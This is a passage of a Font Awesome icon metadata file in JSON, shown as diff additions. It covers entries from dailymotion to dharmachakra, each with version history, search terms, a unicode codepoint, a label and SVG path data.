32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z" + } + }, + "free": [ + "brands" + ] + }, + "dailymotion": { + "changes": [ + "5.12.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e052", + "label": "dailymotion", + "voted": true, + "svg": { + "brands": { + "last_modified": 1581349336589, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z" + } + }, + "free": [ + "brands" + ] + }, + "dashcube": { + "changes": [ + "4.3", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f210", + "label": "DashCube", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860979, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z" + } + }, + "free": [ + "brands" + ] + }, + "database": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "development", + "directory", + "memory", + "storage" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1c0", + "label": "Database", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635441, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z" + } + }, + "free": [ + "solid" + ] + }, + "deaf": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "ear", + "hearing", + "sign language" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a4", + "label": "Deaf", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635441, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z" + } + }, + "free": [ + "solid" + ] + }, + "deezer": { + "changes": [ + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e077", + "label": "Deezer", + "voted": true, + "svg": { + "brands": { + "last_modified": 1599860539197, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z" + } + }, + "free": [ + "brands" + ] + }, + "delicious": { + "changes": [ + "4.1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a5", + "label": "Delicious", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699927, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z" + } + }, + "free": [ + "brands" + ] + }, + "democrat": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "american", + "democratic party", + "donkey", + "election", + "left", + "left-wing", + "liberal", + "politics", + "usa" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f747", + "label": "Democrat", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635442, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z" + } + }, + "free": [ + "solid" + ] + }, + "deploydog": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f38e", + "label": "deploy.dog", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860979, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z" + } + }, + "free": [ + "brands" + ] + }, + "deskpro": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f38f", + "label": "Deskpro", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860979, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z" + } + }, + "free": [ + "brands" + ] + }, + "desktop": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "cpu", + "demo", + "desktop", + "device", + "imac", + "machine", + "monitor", + "pc", + "screen" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f108", + "label": "Desktop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635443, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z" + } + }, + "free": [ + "solid" + ] + }, + "dev": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f6cc", + "label": "DEV", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860979, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z" + } + }, + "free": [ + "brands" + ] + }, + "deviantart": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1bd", + "label": "deviantART", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860980, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z" + } + }, + "free": [ + "brands" + ] + }, + "dharmachakra": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buddhism", + "buddhist", + "wheel of dharma" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f655", + "label": "Dharmachakra", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635443, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 